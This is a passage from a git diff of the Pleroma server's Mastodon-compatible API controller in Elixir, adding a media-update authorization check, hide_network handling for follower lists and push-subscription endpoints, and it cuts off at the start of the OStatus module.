|> add_link_headers(:home_timeline, activities)
|> render(StatusView, "index.json", %{activities: activities, for: user, as: :activity})
end
def public_timeline(%{assigns: %{user: user}} = conn, params) do
local_only = params["local"] in [true, "True", "true", "1"]
params =
params
|> Map.put("type", ["Create", "Announce"])
|> Map.put("local_only", local_only)
|> Map.put("blocking_user", user)
activities =
ActivityPub.fetch_public_activities(params)
|> Enum.reverse()
conn
|> add_link_headers(:public_timeline, activities, false, %{"local" => local_only})
|> render(StatusView, "index.json", %{activities: activities, for: user, as: :activity})
end
def user_statuses(%{assigns: %{user: reading_user}} = conn, params) do
with %User{} = user <- Repo.get(User, params["id"]) do
# Since Pleroma has no "pinned" posts feature, we'll just set an empty list here
activities =
if params["pinned"] == "true" do
[]
else
ActivityPub.fetch_user_activities(user, reading_user, params)
end
conn
|> add_link_headers(:user_statuses, activities, params["id"])
|> render(StatusView, "index.json", %{
activities: activities,
for: reading_user,
as: :activity
})
end
end
def dm_timeline(%{assigns: %{user: user}} = conn, params) do
query =
ActivityPub.fetch_activities_query(
[user.ap_id],
Map.merge(params, %{"type" => "Create", visibility: "direct"})
)
activities = Repo.all(query)
conn
|> add_link_headers(:dm_timeline, activities)
|> render(StatusView, "index.json", %{activities: activities, for: user, as: :activity})
end
def get_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with %Activity{} = activity <- Repo.get(Activity, id),
true <- ActivityPub.visible_for_user?(activity, user) do
try_render(conn, StatusView, "status.json", %{activity: activity, for: user})
end
end
def get_context(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with %Activity{} = activity <- Repo.get(Activity, id),
activities <-
ActivityPub.fetch_activities_for_context(activity.data["context"], %{
"blocking_user" => user,
"user" => user
}),
activities <-
activities |> Enum.filter(fn %{id: aid} -> to_string(aid) != to_string(id) end),
activities <-
activities |> Enum.filter(fn %{data: %{"type" => type}} -> type == "Create" end),
grouped_activities <- Enum.group_by(activities, fn %{id: id} -> id < activity.id end) do
result = %{
ancestors:
StatusView.render(
"index.json",
for: user,
activities: grouped_activities[true] || [],
as: :activity
)
|> Enum.reverse(),
descendants:
StatusView.render(
"index.json",
for: user,
activities: grouped_activities[false] || [],
as: :activity
)
|> Enum.reverse()
}
json(conn, result)
end
end
def post_status(conn, %{"status" => "", "media_ids" => media_ids} = params)
when length(media_ids) > 0 do
params =
params
|> Map.put("status", ".")
post_status(conn, params)
end
def post_status(%{assigns: %{user: user}} = conn, %{"status" => _} = params) do
params =
params
|> Map.put("in_reply_to_status_id", params["in_reply_to_id"])
|> Map.put("no_attachment_links", true)
idempotency_key =
case get_req_header(conn, "idempotency-key") do
[key] -> key
_ -> Ecto.UUID.generate()
end
{:ok, activity} =
Cachex.fetch!(:idempotency_cache, idempotency_key, fn _ -> CommonAPI.post(user, params) end)
try_render(conn, StatusView, "status.json", %{activity: activity, for: user, as: :activity})
end
def delete_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with {:ok, %Activity{}} <- CommonAPI.delete(id, user) do
json(conn, %{})
else
_e ->
conn
|> put_status(403)
|> json(%{error: "Can't delete this post"})
end
end
def reblog_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
with {:ok, announce, _activity} <- CommonAPI.repeat(ap_id_or_id, user) do
try_render(conn, StatusView, "status.json", %{activity: announce, for: user, as: :activity})
end
end
def unreblog_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
with {:ok, _unannounce, %{data: %{"id" => id}}} <- CommonAPI.unrepeat(ap_id_or_id, user),
%Activity{} = activity <- Activity.get_create_activity_by_object_ap_id(id) do
try_render(conn, StatusView, "status.json", %{activity: activity, for: user, as: :activity})
end
end
def fav_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
with {:ok, _fav, %{data: %{"id" => id}}} <- CommonAPI.favorite(ap_id_or_id, user),
%Activity{} = activity <- Activity.get_create_activity_by_object_ap_id(id) do
try_render(conn, StatusView, "status.json", %{activity: activity, for: user, as: :activity})
end
end
def unfav_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
with {:ok, _, _, %{data: %{"id" => id}}} <- CommonAPI.unfavorite(ap_id_or_id, user),
%Activity{} = activity <- Activity.get_create_activity_by_object_ap_id(id) do
try_render(conn, StatusView, "status.json", %{activity: activity, for: user, as: :activity})
end
end
def notifications(%{assigns: %{user: user}} = conn, params) do
notifications = Notification.for_user(user, params)
result =
Enum.map(notifications, fn x ->
render_notification(user, x)
end)
|> Enum.filter(& &1)
conn
|> add_link_headers(:notifications, notifications)
|> json(result)
end
def get_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
with {:ok, notification} <- Notification.get(user, id) do
json(conn, render_notification(user, notification))
else
{:error, reason} ->
conn
|> put_resp_content_type("application/json")
|> send_resp(403, Jason.encode!(%{"error" => reason}))
end
end
def clear_notifications(%{assigns: %{user: user}} = conn, _params) do
Notification.clear(user)
json(conn, %{})
end
def dismiss_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
with {:ok, _notif} <- Notification.dismiss(user, id) do
json(conn, %{})
else
{:error, reason} ->
conn
|> put_resp_content_type("application/json")
|> send_resp(403, Jason.encode!(%{"error" => reason}))
end
end
def relationships(%{assigns: %{user: user}} = conn, %{"id" => id}) do
id = List.wrap(id)
q = from(u in User, where: u.id in ^id)
targets = Repo.all(q)
render(conn, AccountView, "relationships.json", %{user: user, targets: targets})
end
# Instead of returning a 400 when no "id" params is present, Mastodon returns an empty array.
def relationships(%{assigns: %{user: user}} = conn, _) do
conn
|> json([])
end
- def update_media(%{assigns: %{user: _}} = conn, data) do
+ def update_media(%{assigns: %{user: user}} = conn, data) do
with %Object{} = object <- Repo.get(Object, data["id"]),
+ true <- Object.authorize_mutation(object, user),
true <- is_binary(data["description"]),
description <- data["description"] do
new_data = %{object.data | "name" => description}
- change = Object.change(object, %{data: new_data})
- {:ok, _} = Repo.update(change)
-
- data =
- new_data
- |> Map.put("id", object.id)
+ {:ok, _} =
+ object
+ |> Object.change(%{data: new_data})
+ |> Repo.update()
- render(conn, StatusView, "attachment.json", %{attachment: data})
+ attachment_data = Map.put(new_data, "id", object.id)
+ render(conn, StatusView, "attachment.json", %{attachment: attachment_data})
end
end
- def upload(%{assigns: %{user: _}} = conn, %{"file" => file} = data) do
- with {:ok, object} <- ActivityPub.upload(file, description: Map.get(data, "description")) do
- change = Object.change(object, %{data: object.data})
- {:ok, object} = Repo.update(change)
-
- objdata =
- object.data
- |> Map.put("id", object.id)
-
- render(conn, StatusView, "attachment.json", %{attachment: objdata})
+ def upload(%{assigns: %{user: user}} = conn, %{"file" => file} = data) do
+ with {:ok, object} <-
+ ActivityPub.upload(file,
+ actor: User.ap_id(user),
+ description: Map.get(data, "description")
+ ) do
+ attachment_data = Map.put(object.data, "id", object.id)
+ render(conn, StatusView, "attachment.json", %{attachment: attachment_data})
end
end
def favourited_by(conn, %{"id" => id}) do
with %Activity{data: %{"object" => %{"likes" => likes}}} <- Repo.get(Activity, id) do
q = from(u in User, where: u.ap_id in ^likes)
users = Repo.all(q)
render(conn, AccountView, "accounts.json", %{users: users, as: :user})
else
_ -> json(conn, [])
end
end
def reblogged_by(conn, %{"id" => id}) do
with %Activity{data: %{"object" => %{"announcements" => announces}}} <- Repo.get(Activity, id) do
q = from(u in User, where: u.ap_id in ^announces)
users = Repo.all(q)
render(conn, AccountView, "accounts.json", %{users: users, as: :user})
else
_ -> json(conn, [])
end
end
def hashtag_timeline(%{assigns: %{user: user}} = conn, params) do
local_only = params["local"] in [true, "True", "true", "1"]
params =
params
|> Map.put("type", "Create")
|> Map.put("local_only", local_only)
|> Map.put("blocking_user", user)
|> Map.put("tag", String.downcase(params["tag"]))
activities =
ActivityPub.fetch_public_activities(params)
|> Enum.reverse()
conn
|> add_link_headers(:hashtag_timeline, activities, params["tag"], %{"local" => local_only})
|> render(StatusView, "index.json", %{activities: activities, for: user, as: :activity})
end
- # TODO: Pagination
- def followers(conn, %{"id" => id}) do
+ def followers(%{assigns: %{user: for_user}} = conn, %{"id" => id}) do
with %User{} = user <- Repo.get(User, id),
{:ok, followers} <- User.get_followers(user) do
+ followers =
+ cond do
+ for_user && user.id == for_user.id -> followers
+ user.info.hide_network -> []
+ true -> followers
+ end
+
render(conn, AccountView, "accounts.json", %{users: followers, as: :user})
end
end
- def following(conn, %{"id" => id}) do
+ def following(%{assigns: %{user: for_user}} = conn, %{"id" => id}) do
with %User{} = user <- Repo.get(User, id),
{:ok, followers} <- User.get_friends(user) do
+ followers =
+ cond do
+ for_user && user.id == for_user.id -> followers
+ user.info.hide_network -> []
+ true -> followers
+ end
+
render(conn, AccountView, "accounts.json", %{users: followers, as: :user})
end
end
def follow_requests(%{assigns: %{user: followed}} = conn, _params) do
with {:ok, follow_requests} <- User.get_follow_requests(followed) do
render(conn, AccountView, "accounts.json", %{users: follow_requests, as: :user})
end
end
def authorize_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do
with %User{} = follower <- Repo.get(User, id),
{:ok, follower} <- User.maybe_follow(follower, followed),
%Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed),
{:ok, follow_activity} <- Utils.update_follow_state(follow_activity, "accept"),
{:ok, _activity} <-
ActivityPub.accept(%{
to: [follower.ap_id],
actor: followed.ap_id,
object: follow_activity.data["id"],
type: "Accept"
}) do
render(conn, AccountView, "relationship.json", %{user: followed, target: follower})
else
{:error, message} ->
conn
|> put_resp_content_type("application/json")
|> send_resp(403, Jason.encode!(%{"error" => message}))
end
end
def reject_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do
with %User{} = follower <- Repo.get(User, id),
%Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed),
{:ok, follow_activity} <- Utils.update_follow_state(follow_activity, "reject"),
{:ok, _activity} <-
ActivityPub.reject(%{
to: [follower.ap_id],
actor: followed.ap_id,
object: follow_activity.data["id"],
type: "Reject"
}) do
render(conn, AccountView, "relationship.json", %{user: followed, target: follower})
else
{:error, message} ->
conn
|> put_resp_content_type("application/json")
|> send_resp(403, Jason.encode!(%{"error" => message}))
end
end
def follow(%{assigns: %{user: follower}} = conn, %{"id" => id}) do
with %User{} = followed <- Repo.get(User, id),
{:ok, follower} <- User.maybe_direct_follow(follower, followed),
{:ok, _activity} <- ActivityPub.follow(follower, followed),
{:ok, follower, followed} <-
User.wait_and_refresh(
Pleroma.Config.get([:activitypub, :follow_handshake_timeout]),
follower,
followed
) do
render(conn, AccountView, "relationship.json", %{user: follower, target: followed})
else
{:error, message} ->
conn
|> put_resp_content_type("application/json")
|> send_resp(403, Jason.encode!(%{"error" => message}))
end
end
def follow(%{assigns: %{user: follower}} = conn, %{"uri" => uri}) do
with %User{} = followed <- Repo.get_by(User, nickname: uri),
{:ok, follower} <- User.maybe_direct_follow(follower, followed),
{:ok, _activity} <- ActivityPub.follow(follower, followed) do
render(conn, AccountView, "account.json", %{user: followed, for: follower})
else
{:error, message} ->
conn
|> put_resp_content_type("application/json")
|> send_resp(403, Jason.encode!(%{"error" => message}))
end
end
def unfollow(%{assigns: %{user: follower}} = conn, %{"id" => id}) do
with %User{} = followed <- Repo.get(User, id),
{:ok, _activity} <- ActivityPub.unfollow(follower, followed),
{:ok, follower, _} <- User.unfollow(follower, followed) do
render(conn, AccountView, "relationship.json", %{user: follower, target: followed})
end
end
def block(%{assigns: %{user: blocker}} = conn, %{"id" => id}) do
with %User{} = blocked <- Repo.get(User, id),
{:ok, blocker} <- User.block(blocker, blocked),
{:ok, _activity} <- ActivityPub.block(blocker, blocked) do
render(conn, AccountView, "relationship.json", %{user: blocker, target: blocked})
else
{:error, message} ->
conn
|> put_resp_content_type("application/json")
|> send_resp(403, Jason.encode!(%{"error" => message}))
end
end
def unblock(%{assigns: %{user: blocker}} = conn, %{"id" => id}) do
with %User{} = blocked <- Repo.get(User, id),
{:ok, blocker} <- User.unblock(blocker, blocked),
{:ok, _activity} <- ActivityPub.unblock(blocker, blocked) do
render(conn, AccountView, "relationship.json", %{user: blocker, target: blocked})
else
{:error, message} ->
conn
|> put_resp_content_type("application/json")
|> send_resp(403, Jason.encode!(%{"error" => message}))
end
end
# TODO: Use proper query
def blocks(%{assigns: %{user: user}} = conn, _) do
with blocked_users <- user.info.blocks || [],
accounts <- Enum.map(blocked_users, fn ap_id -> User.get_cached_by_ap_id(ap_id) end) do
res = AccountView.render("accounts.json", users: accounts, for: user, as: :user)
json(conn, res)
end
end
def domain_blocks(%{assigns: %{user: %{info: info}}} = conn, _) do
json(conn, info.domain_blocks || [])
end
def block_domain(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do
User.block_domain(blocker, domain)
json(conn, %{})
end
def unblock_domain(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do
User.unblock_domain(blocker, domain)
json(conn, %{})
end
def status_search(query) do
fetched =
if Regex.match?(~r/https?:/, query) do
with {:ok, object} <- ActivityPub.fetch_object_from_id(query) do
[Activity.get_create_activity_by_object_ap_id(object.data["id"])]
else
_e -> []
end
end || []
q =
from(
a in Activity,
where: fragment("?->>'type' = 'Create'", a.data),
where: "https://www.w3.org/ns/activitystreams#Public" in a.recipients,
where:
fragment(
"to_tsvector('english', ?->'object'->>'content') @@ plainto_tsquery('english', ?)",
a.data,
^query
),
limit: 20,
order_by: [desc: :id]
)
Repo.all(q) ++ fetched
end
def search2(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
accounts = User.search(query, params["resolve"] == "true")
statuses = status_search(query)
tags_path = Web.base_url() <> "/tag/"
tags =
String.split(query)
|> Enum.uniq()
|> Enum.filter(fn tag -> String.starts_with?(tag, "#") end)
|> Enum.map(fn tag -> String.slice(tag, 1..-1) end)
|> Enum.map(fn tag -> %{name: tag, url: tags_path <> tag} end)
res = %{
"accounts" => AccountView.render("accounts.json", users: accounts, for: user, as: :user),
"statuses" =>
StatusView.render("index.json", activities: statuses, for: user, as: :activity),
"hashtags" => tags
}
json(conn, res)
end
def search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
accounts = User.search(query, params["resolve"] == "true")
statuses = status_search(query)
tags =
String.split(query)
|> Enum.uniq()
|> Enum.filter(fn tag -> String.starts_with?(tag, "#") end)
|> Enum.map(fn tag -> String.slice(tag, 1..-1) end)
res = %{
"accounts" => AccountView.render("accounts.json", users: accounts, for: user, as: :user),
"statuses" =>
StatusView.render("index.json", activities: statuses, for: user, as: :activity),
"hashtags" => tags
}
json(conn, res)
end
def account_search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
accounts = User.search(query, params["resolve"] == "true")
res = AccountView.render("accounts.json", users: accounts, for: user, as: :user)
json(conn, res)
end
def favourites(%{assigns: %{user: user}} = conn, _) do
params =
%{}
|> Map.put("type", "Create")
|> Map.put("favorited_by", user.ap_id)
|> Map.put("blocking_user", user)
activities =
ActivityPub.fetch_public_activities(params)
|> Enum.reverse()
conn
|> render(StatusView, "index.json", %{activities: activities, for: user, as: :activity})
end
def get_lists(%{assigns: %{user: user}} = conn, opts) do
lists = Pleroma.List.for_user(user, opts)
res = ListView.render("lists.json", lists: lists)
json(conn, res)
end
def get_list(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with %Pleroma.List{} = list <- Pleroma.List.get(id, user) do
res = ListView.render("list.json", list: list)
json(conn, res)
else
_e -> json(conn, "error")
end
end
def account_lists(%{assigns: %{user: user}} = conn, %{"id" => account_id}) do
lists = Pleroma.List.get_lists_account_belongs(user, account_id)
res = ListView.render("lists.json", lists: lists)
json(conn, res)
end
def delete_list(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
{:ok, _list} <- Pleroma.List.delete(list) do
json(conn, %{})
else
_e ->
json(conn, "error")
end
end
def create_list(%{assigns: %{user: user}} = conn, %{"title" => title}) do
with {:ok, %Pleroma.List{} = list} <- Pleroma.List.create(title, user) do
res = ListView.render("list.json", list: list)
json(conn, res)
end
end
def add_to_list(%{assigns: %{user: user}} = conn, %{"id" => id, "account_ids" => accounts}) do
accounts
|> Enum.each(fn account_id ->
with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
%User{} = followed <- Repo.get(User, account_id) do
Pleroma.List.follow(list, followed)
end
end)
json(conn, %{})
end
def remove_from_list(%{assigns: %{user: user}} = conn, %{"id" => id, "account_ids" => accounts}) do
accounts
|> Enum.each(fn account_id ->
with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
%User{} = followed <- Repo.get(Pleroma.User, account_id) do
Pleroma.List.unfollow(list, followed)
end
end)
json(conn, %{})
end
def list_accounts(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
{:ok, users} = Pleroma.List.get_following(list) do
render(conn, AccountView, "accounts.json", %{users: users, as: :user})
end
end
def rename_list(%{assigns: %{user: user}} = conn, %{"id" => id, "title" => title}) do
with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
{:ok, list} <- Pleroma.List.rename(list, title) do
res = ListView.render("list.json", list: list)
json(conn, res)
else
_e ->
json(conn, "error")
end
end
def list_timeline(%{assigns: %{user: user}} = conn, %{"list_id" => id} = params) do
with %Pleroma.List{title: title, following: following} <- Pleroma.List.get(id, user) do
params =
params
|> Map.put("type", "Create")
|> Map.put("blocking_user", user)
# we must filter the following list for the user to avoid leaking statuses the user
# does not actually have permission to see (for more info, peruse security issue #270).
following_to =
following
|> Enum.filter(fn x -> x in user.following end)
activities =
ActivityPub.fetch_activities_bounded(following_to, following, params)
|> Enum.reverse()
conn
|> render(StatusView, "index.json", %{activities: activities, for: user, as: :activity})
else
_e ->
conn
|> put_status(403)
|> json(%{error: "Error."})
end
end
def index(%{assigns: %{user: user}} = conn, _params) do
token =
conn
|> get_session(:oauth_token)
if user && token do
mastodon_emoji = mastodonized_emoji()
limit = Pleroma.Config.get([:instance, :limit])
accounts =
Map.put(%{}, user.id, AccountView.render("account.json", %{user: user, for: user}))
initial_state =
%{
meta: %{
streaming_api_base_url:
String.replace(Pleroma.Web.Endpoint.static_url(), "http", "ws"),
access_token: token,
locale: "en",
domain: Pleroma.Web.Endpoint.host(),
admin: "1",
me: "#{user.id}",
unfollow_modal: false,
boost_modal: false,
delete_modal: true,
auto_play_gif: false,
display_sensitive_media: false,
reduce_motion: false,
max_toot_chars: limit
},
rights: %{
delete_others_notice: !!user.info.is_moderator
},
compose: %{
me: "#{user.id}",
default_privacy: user.info.default_scope,
default_sensitive: false
},
media_attachments: %{
accept_content_types: [
".jpg",
".jpeg",
".png",
".gif",
".webm",
".mp4",
".m4v",
"image\/jpeg",
"image\/png",
"image\/gif",
"video\/webm",
"video\/mp4"
]
},
settings:
Map.get(user.info, :settings) ||
%{
onboarded: true,
home: %{
shows: %{
reblog: true,
reply: true
}
},
notifications: %{
alerts: %{
follow: true,
favourite: true,
reblog: true,
mention: true
},
shows: %{
follow: true,
favourite: true,
reblog: true,
mention: true
},
sounds: %{
follow: true,
favourite: true,
reblog: true,
mention: true
}
}
},
push_subscription: nil,
accounts: accounts,
custom_emojis: mastodon_emoji,
char_limit: limit
}
|> Jason.encode!()
conn
|> put_layout(false)
|> render(MastodonView, "index.html", %{initial_state: initial_state})
else
conn
|> redirect(to: "/web/login")
end
end
def put_settings(%{assigns: %{user: user}} = conn, %{"data" => settings} = _params) do
- with new_info <- Map.put(user.info, "settings", settings),
- change <- User.info_changeset(user, %{info: new_info}),
- {:ok, _user} <- User.update_and_set_cache(change) do
+ info_cng = User.Info.mastodon_settings_update(user.info, settings)
+
+ with changeset <- User.update_changeset(user),
+ changeset <- Ecto.Changeset.put_embed(changeset, :info, info_cng),
+ {:ok, user} <- User.update_and_set_cache(changeset) do
conn
|> json(%{})
else
e ->
conn
|> json(%{error: inspect(e)})
end
end
def login(conn, %{"code" => code}) do
with {:ok, app} <- get_or_make_app(),
%Authorization{} = auth <- Repo.get_by(Authorization, token: code, app_id: app.id),
{:ok, token} <- Token.exchange_token(app, auth) do
conn
|> put_session(:oauth_token, token.token)
|> redirect(to: "/web/getting-started")
end
end
def login(conn, _) do
with {:ok, app} <- get_or_make_app() do
path =
o_auth_path(conn, :authorize,
response_type: "code",
client_id: app.client_id,
redirect_uri: ".",
scope: app.scopes
)
conn
|> redirect(to: path)
end
end
defp get_or_make_app() do
with %App{} = app <- Repo.get_by(App, client_name: "Mastodon-Local") do
{:ok, app}
else
_e ->
cs =
App.register_changeset(%App{}, %{
client_name: "Mastodon-Local",
redirect_uris: ".",
scopes: "read,write,follow"
})
Repo.insert(cs)
end
end
def logout(conn, _) do
conn
|> clear_session
|> redirect(to: "/")
end
def relationship_noop(%{assigns: %{user: user}} = conn, %{"id" => id}) do
Logger.debug("Unimplemented, returning unmodified relationship")
with %User{} = target <- Repo.get(User, id) do
render(conn, AccountView, "relationship.json", %{user: user, target: target})
end
end
def empty_array(conn, _) do
Logger.debug("Unimplemented, returning an empty array")
json(conn, [])
end
def empty_object(conn, _) do
Logger.debug("Unimplemented, returning an empty object")
json(conn, %{})
end
def render_notification(user, %{id: id, activity: activity, inserted_at: created_at} = _params) do
actor = User.get_cached_by_ap_id(activity.data["actor"])
created_at =
NaiveDateTime.to_iso8601(created_at)
|> String.replace(~r/(\.\d+)?$/, ".000Z", global: false)
id = id |> to_string
case activity.data["type"] do
"Create" ->
%{
id: id,
type: "mention",
created_at: created_at,
account: AccountView.render("account.json", %{user: actor, for: user}),
status: StatusView.render("status.json", %{activity: activity, for: user})
}
"Like" ->
liked_activity = Activity.get_create_activity_by_object_ap_id(activity.data["object"])
%{
id: id,
type: "favourite",
created_at: created_at,
account: AccountView.render("account.json", %{user: actor, for: user}),
status: StatusView.render("status.json", %{activity: liked_activity, for: user})
}
"Announce" ->
announced_activity = Activity.get_create_activity_by_object_ap_id(activity.data["object"])
%{
id: id,
type: "reblog",
created_at: created_at,
account: AccountView.render("account.json", %{user: actor, for: user}),
status: StatusView.render("status.json", %{activity: announced_activity, for: user})
}
"Follow" ->
%{
id: id,
type: "follow",
created_at: created_at,
account: AccountView.render("account.json", %{user: actor, for: user})
}
_ ->
nil
end
end
def get_filters(%{assigns: %{user: user}} = conn, _) do
filters = Pleroma.Filter.get_filters(user)
res = FilterView.render("filters.json", filters: filters)
json(conn, res)
end
def create_filter(
%{assigns: %{user: user}} = conn,
%{"phrase" => phrase, "context" => context} = params
) do
query = %Pleroma.Filter{
user_id: user.id,
phrase: phrase,
context: context,
hide: Map.get(params, "irreversible", nil),
whole_word: Map.get(params, "boolean", true)
# expires_at
}
{:ok, response} = Pleroma.Filter.create(query)
res = FilterView.render("filter.json", filter: response)
json(conn, res)
end
def get_filter(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do
filter = Pleroma.Filter.get(filter_id, user)
res = FilterView.render("filter.json", filter: filter)
json(conn, res)
end
def update_filter(
%{assigns: %{user: user}} = conn,
%{"phrase" => phrase, "context" => context, "id" => filter_id} = params
) do
query = %Pleroma.Filter{
user_id: user.id,
filter_id: filter_id,
phrase: phrase,
context: context,
hide: Map.get(params, "irreversible", nil),
whole_word: Map.get(params, "boolean", true)
# expires_at
}
{:ok, response} = Pleroma.Filter.update(query)
res = FilterView.render("filter.json", filter: response)
json(conn, res)
end
def delete_filter(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do
query = %Pleroma.Filter{
user_id: user.id,
filter_id: filter_id
}
{:ok, _} = Pleroma.Filter.delete(query)
json(conn, %{})
end
+ def create_push_subscription(%{assigns: %{user: user, token: token}} = conn, params) do
+ Pleroma.Web.Push.Subscription.delete_if_exists(user, token)
+ {:ok, subscription} = Pleroma.Web.Push.Subscription.create(user, token, params)
+ view = PushSubscriptionView.render("push_subscription.json", subscription: subscription)
+ json(conn, view)
+ end
+
+ def get_push_subscription(%{assigns: %{user: user, token: token}} = conn, _params) do
+ subscription = Pleroma.Web.Push.Subscription.get(user, token)
+ view = PushSubscriptionView.render("push_subscription.json", subscription: subscription)
+ json(conn, view)
+ end
+
+ def update_push_subscription(
+ %{assigns: %{user: user, token: token}} = conn,
+ params
+ ) do
+ {:ok, subscription} = Pleroma.Web.Push.Subscription.update(user, token, params)
+ view = PushSubscriptionView.render("push_subscription.json", subscription: subscription)
+ json(conn, view)
+ end
+
+ def delete_push_subscription(%{assigns: %{user: user, token: token}} = conn, _params) do
+ {:ok, _response} = Pleroma.Web.Push.Subscription.delete(user, token)
+ json(conn, %{})
+ end
+
def errors(conn, _) do
conn
|> put_status(500)
|> json("Something went wrong")
end
def suggestions(%{assigns: %{user: user}} = conn, _) do
suggestions = Pleroma.Config.get(:suggestions)
if Keyword.get(suggestions, :enabled, false) do
api = Keyword.get(suggestions, :third_party_engine, "")
timeout = Keyword.get(suggestions, :timeout, 5000)
limit = Keyword.get(suggestions, :limit, 23)
host = Pleroma.Config.get([Pleroma.Web.Endpoint, :url, :host])
user = user.nickname
url = String.replace(api, "{{host}}", host) |> String.replace("{{user}}", user)
with {:ok, %{status: 200, body: body}} <-
- @httpoison.get(url, [], timeout: timeout, recv_timeout: timeout),
+ @httpoison.get(
+ url,
+ [],
+ adapter: [
+ timeout: timeout,
+ recv_timeout: timeout
+ ]
+ ),
{:ok, data} <- Jason.decode(body) do
data2 =
Enum.slice(data, 0, limit)
|> Enum.map(fn x ->
Map.put(
x,
"id",
case User.get_or_fetch(x["acct"]) do
%{id: id} -> id
_ -> 0
end
)
end)
|> Enum.map(fn x ->
Map.put(x, "avatar", MediaProxy.url(x["avatar"]))
end)
|> Enum.map(fn x ->
Map.put(x, "avatar_static", MediaProxy.url(x["avatar_static"]))
end)
conn
|> json(data2)
else
e -> Logger.error("Could not retrieve suggestions at fetch #{url}, #{inspect(e)}")
end
else
json(conn, [])
end
end
def try_render(conn, renderer, target, params)
when is_binary(target) do
res = render(conn, renderer, target, params)
if res == nil do
conn
|> put_status(501)
|> json(%{error: "Can't display this activity"})
else
res
end
end
def try_render(conn, _, _, _) do
conn
|> put_status(501)
|> json(%{error: "Can't display this activity"})
end
end
diff --git a/lib/pleroma/web/mastodon_api/views/push_subscription_view.ex b/lib/pleroma/web/mastodon_api/views/push_subscription_view.ex
new file mode 100644
index 000000000..68bb45494
--- /dev/null
+++ b/lib/pleroma/web/mastodon_api/views/push_subscription_view.ex
@@ -0,0 +1,12 @@
+defmodule Pleroma.Web.MastodonAPI.PushSubscriptionView do
+ use Pleroma.Web, :view
+ alias Pleroma.Web.MastodonAPI.PushSubscriptionView
+
+ def render("push_subscription.json", %{subscription: subscription}) do
+ %{
+ id: to_string(subscription.id),
+ endpoint: subscription.endpoint,
+ alerts: Map.get(subscription.data, "alerts")
+ }
+ end
+end
diff --git a/lib/pleroma/web/ostatus/ostatus.ex b/lib/pleroma/web/ostatus/ostatus.ex
index 67df354db..53d71440e 100644
--- a/lib/pleroma/web/ostatus/ostatus.ex
+++ b/lib/pleroma/web/ostatus/ostatus.ex
@@ -1,399 +1,393 @@
defmodule Pleroma.Web.OStatus do
@httpoison Application.get_env(:pleroma, :httpoison)
import Ecto.Query
import Pleroma.Web.XML
require Logger
alias Pleroma.{Repo, User, Web, Object, Activity}
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.{WebFinger, Websub}
alias Pleroma.Web.OStatus.{FollowHandler, UnfollowHandler, NoteHandler, DeleteHandler}
alias Pleroma.Web.ActivityPub.Transmogrifier
def is_representable?(%Activity{data: data}) do
object = Object.normalize(data["object"])
cond do
is_nil(object) ->
false
object.data["type"] == "Note" ->
true
true ->
false
end
end
def feed_path(user) do
"#{user.ap_id}/feed.atom"
end
def pubsub_path(user) do
"#{Web.base_url()}/push/hub/#{user.nickname}"
end
def salmon_path(user) do
"#{user.ap_id}/salmon"
end
def remote_follow_path do
"#{Web.base_url()}/ostatus_subscribe?acct={uri}"
end
def handle_incoming(xml_string) do
with doc when doc != :error <- parse_document(xml_string) do
entries = :xmerl_xpath.string('//entry', doc)
activities =
Enum.map(entries, fn entry ->
{:xmlObj, :string, object_type} =
:xmerl_xpath.string('string(/entry/activity:object-type[1])', entry)
{:xmlObj, :string, verb} = :xmerl_xpath.string('string(/entry/activity:verb[1])', entry)
Logger.debug("Handling #{verb}")
try do
case verb do
'http://activitystrea.ms/schema/1.0/delete' ->
with {:ok, activity} <- DeleteHandler.handle_delete(entry, doc), do: activity
'http://activitystrea.ms/schema/1.0/follow' ->
with {:ok, activity} <- FollowHandler.handle(entry, doc), do: activity
'http://activitystrea.ms/schema/1.0/unfollow' ->
with {:ok, activity} <- UnfollowHandler.handle(entry, doc), do: activity
'http://activitystrea.ms/schema/1.0/share' ->
with {:ok, activity, retweeted_activity} <- handle_share(entry, doc),
do: [activity, retweeted_activity]
'http://activitystrea.ms/schema/1.0/favorite' ->
with {:ok, activity, favorited_activity} <- handle_favorite(entry, doc),
do: [activity, favorited_activity]
_ ->
case object_type do
'http://activitystrea.ms/schema/1.0/note' ->
with {:ok, activity} <- NoteHandler.handle_note(entry, doc), do: activity
'http://activitystrea.ms/schema/1.0/comment' ->
with {:ok, activity} <- NoteHandler.handle_note(entry, doc), do: activity
_ ->
Logger.error("Couldn't parse incoming document")
nil
end
end
rescue
e ->
Logger.error("Error occured while handling activity")
Logger.error(xml_string)
Logger.error(inspect(e))
nil
end
end)
|> Enum.filter(& &1)
{:ok, activities}
else
_e -> {:error, []}
end
end
def make_share(entry, doc, retweeted_activity) do
with {:ok, actor} <- find_make_or_update_user(doc),
%Object{} = object <- Object.normalize(retweeted_activity.data["object"]),
id when not is_nil(id) <- string_from_xpath("/entry/id", entry),
{:ok, activity, _object} = ActivityPub.announce(actor, object, id, false) do
{:ok, activity}
end
end
def handle_share(entry, doc) do
